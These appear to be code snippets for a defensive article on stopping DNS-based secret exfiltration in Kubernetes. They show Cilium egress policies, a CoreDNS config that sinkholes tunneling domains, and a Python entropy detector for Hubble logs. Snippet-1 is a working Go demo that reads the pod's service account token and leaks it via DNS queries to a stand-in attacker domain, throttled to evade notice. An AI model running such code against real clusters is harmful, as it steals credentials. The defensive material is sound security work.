Preventing Secret Exfiltration in Kubernetes: Restricting DNS Resolution inside Pods via CoreDNS Policies and Cilium — code snippets

snippet-1.go

package main

import (
	"context"
	"encoding/base32"
	"fmt"
	"net"
	"os"
	"strings"
	"time"
)

// encodeSecretToSubdomains converts a raw secret into a slice of DNS-safe base32 subdomains.
// Base32 is preferred over Base64 because DNS domain names are case-insensitive.
func encodeSecretToSubdomains(secret []byte, domain string) []string {
	encoder := base32.StdEncoding.WithPadding(base32.NoPadding)
	encoded := strings.ToLower(encoder.EncodeToString(secret))
	
	const maxLabelLen = 60 // Leave safety buffer under the 63-character label limit
	var queries []string
	
	for i := 0; i < len(encoded); i += maxLabelLen {
		end := i + maxLabelLen
		if end > len(encoded) {
			end = len(encoded)
		}
		chunk := encoded[i:end]
		queries = append(queries, fmt.Sprintf("%s.%s", chunk, domain))
	}
	return queries
}

func main() {
	// Read a simulated or real sensitive secret (e.g., service account token)
	secretData, err := os.ReadFile("/var/run/secrets/kubernetes.io/serviceaccount/token")
	if err != nil {
		fmt.Printf("Failed to read secret: %v\n", err)
		return
	}

	targetDomain := "exfil.attacker-domain.com"
	queries := encodeSecretToSubdomains(secretData, targetDomain)
	
	// Create a custom resolver pointing explicitly to the cluster DNS service IP (kube-dns)
	r := &net.Resolver{
		PreferGo: true,
		Dial: func(ctx context.Context, network, address string) (net.Conn, error) {
			d := net.Dialer{Timeout: 2 * time.Second}
			return d.DialContext(ctx, "udp", "10.96.0.10:53")
		},
	}

	for idx, query := range queries {
		fmt.Printf("[%d/%d] Resolving query: %s\n", idx+1, len(queries), query)
		
		// The query is issued. Even if the resolution returns NXDOMAIN, the query 
		// has already traveled to the authoritative DNS server of attacker-domain.com
		_, _ = r.LookupHost(context.Background(), query)
		
		// Throttling lookup rate to blend in with legitimate network noise
		time.Sleep(150 * time.Millisecond)
	}
}

snippet-2.yaml

apiVersion: "cilium.io/v2"
kind: CiliumNetworkPolicy
metadata:
  name: enforce-internal-dns-only
  namespace: production
spec:
  endpointSelector:
    matchLabels:
      app.kubernetes.io/part-of: payment-service
  egress:
    # Rule 1: Allow DNS resolution ONLY to kube-dns pods in the kube-system namespace
    - toEndpoints:
        - matchLabels:
            k8s-app: kube-dns
            io.kubernetes.pod.namespace: kube-system
      toPorts:
        - ports:
            - port: "53"
              protocol: UDP
            - port: "53"
              protocol: TCP
          rules:
            # Enforce L7 DNS validation for all DNS queries traversing this port
            dns:
              - matchPattern: "*"
    # Default behavior drops all other egress, meaning direct queries to 8.8.8.8 are dropped

snippet-3.yaml

apiVersion: "cilium.io/v2"
kind: CiliumNetworkPolicy
metadata:
  name: restrict-egress-by-fqdn
  namespace: production
spec:
  endpointSelector:
    matchLabels:
      app: checkout-processor
  egress:
    # 1. Allow the pod to query kube-dns, but restrict the domains it can resolve
    - toEndpoints:
        - matchLabels:
            k8s-app: kube-dns
            io.kubernetes.pod.namespace: kube-system
      toPorts:
        - ports:
            - port: "53"
              protocol: UDP
          rules:
            dns:
              - matchName: "api.stripe.com"
              - matchPattern: "*.amazonaws.com"
    # 2. Allow HTTPS traffic only to the IPs dynamically mapped from the DNS queries above
    - toFQDNs:
        - matchName: "api.stripe.com"
        - matchPattern: "*.amazonaws.com"
      toPorts:
        - ports:
            - port: "443"
              protocol: TCP

snippet-4.yaml

apiVersion: v1
kind: ConfigMap
metadata:
  name: coredns
  namespace: kube-system
data:
  Corefile: |
    .:53 {
        errors
        health {
            lameduck 5s
        }
        ready
        kubernetes cluster.local in-addr.arpa ip6.arpa {
            pods insecure
            fallthrough in-addr.arpa ip6.arpa
            ttl 30
        }
        prometheus :9153
        
        # 1. Immediate termination (NXDOMAIN) for commonly abused top-level domains
        rewrite name regex (.*)\.onion$ nxdomain
        rewrite name regex (.*)\.temp-mail\.org$ nxdomain
        
        # 2. Stop known dynamic DNS and tunneling endpoints from forwarding upstream
        rewrite name regex (.*)\.duckdns\.org$ nxdomain
        rewrite name regex (.*)\.ngrok-io\.app$ nxdomain
        rewrite name regex (.*)\.exfil\.attacker-domain\.com$ nxdomain

        # 3. Sinkhole suspicious internal names using the hosts plugin
        hosts {
            127.0.0.1 localhost
            0.0.0.0 metadata.google.internal
            fallthrough
        }
        
        # 4. Limit upstream recursive resolution to trusted DNS endpoints
        # Instead of 8.8.8.8, forward exclusively to your cloud provider's DNS metadata server
        forward . 169.254.169.254 {
            max_concurrent 1000
        }
        
        cache 30
        loop
        reload
        loadbalance
    }

snippet-5.py

import json
import math
import sys
from typing import Dict, Any

def calculate_shannon_entropy(data: str) -> float:
    """Calculates the Shannon entropy of a string to measure its randomness."""
    if not data:
        return 0.0
    entropy = 0.0
    for x in range(256):
        p_x = float(data.count(chr(x))) / len(data)
        if p_x > 0.0:
            entropy += - p_x * math.log(p_x, 2)
    return entropy

def process_hubble_flow(flow_line: str, entropy_threshold: float = 4.2):
    """Parses a Hubble L7 JSON flow record and alerts on suspicious DNS activity."""
    try:
        flow: Dict[str, Any] = json.loads(flow_line)
        l7 = flow.get("l7", {})
        dns = l7.get("dns", {})
        
        # We only care about DNS queries
        if not dns:
            return
            
        query = dns.get("query", "")
        # Standard query format: "xyz.domain.com." -> strip trailing dot
        clean_query = query.rstrip(".")
        parts = clean_query.split(".")
        
        if len(parts) < 3:
            return # Skip short internal or root queries
            
        # The subdomain containing potential exfiltrated payload
        subdomain = parts[0]
        
        # Anomalous DNS queries are generally long and random
        if len(subdomain) > 30:
            entropy = calculate_shannon_entropy(subdomain)
            if entropy > entropy_threshold:
                source_pod = flow.get("source", {}).get("pod_name", "unknown")
                namespace = flow.get("source", {}).get("namespace", "unknown")
                
                print(f"[SECURITY ALERT] DNS Tunneling Detected!")
                print(f"  Namespace:   {namespace}")
                print(f"  Pod:         {source_pod}")
                print(f"  DNS Query:   {query}")
                print(f"  Subdomain:   {subdomain}")
                print(f"  Entropy:     {entropy:.3f} (Threshold: {entropy_threshold})")
                print(f"  Length:      {len(subdomain)} characters")
                print("-" * 60)
                
    except json.JSONDecodeError:
        pass
    except Exception as e:
        print(f"Error processing log line: {e}", file=sys.stderr)

if __name__ == "__main__":
    # Simulated input resembling JSON output from the Hubble CLI:
    # hubble observe --output json -t l7 --http-status 200
    mock_logs = [
        '{"source":{"pod_name":"payment-service-58f7","namespace":"production"},"l7":{"dns":{"query":"api.stripe.com."}}}',
        '{"source":{"pod_name":"analytics-worker-abc4","namespace":"production"},"l7":{"dns":{"query":"onswg5dsn5xgg33o.exfil.attacker-domain.com."}}}'
    ]
    
    for line in mock_logs:
        process_hubble_flow(line)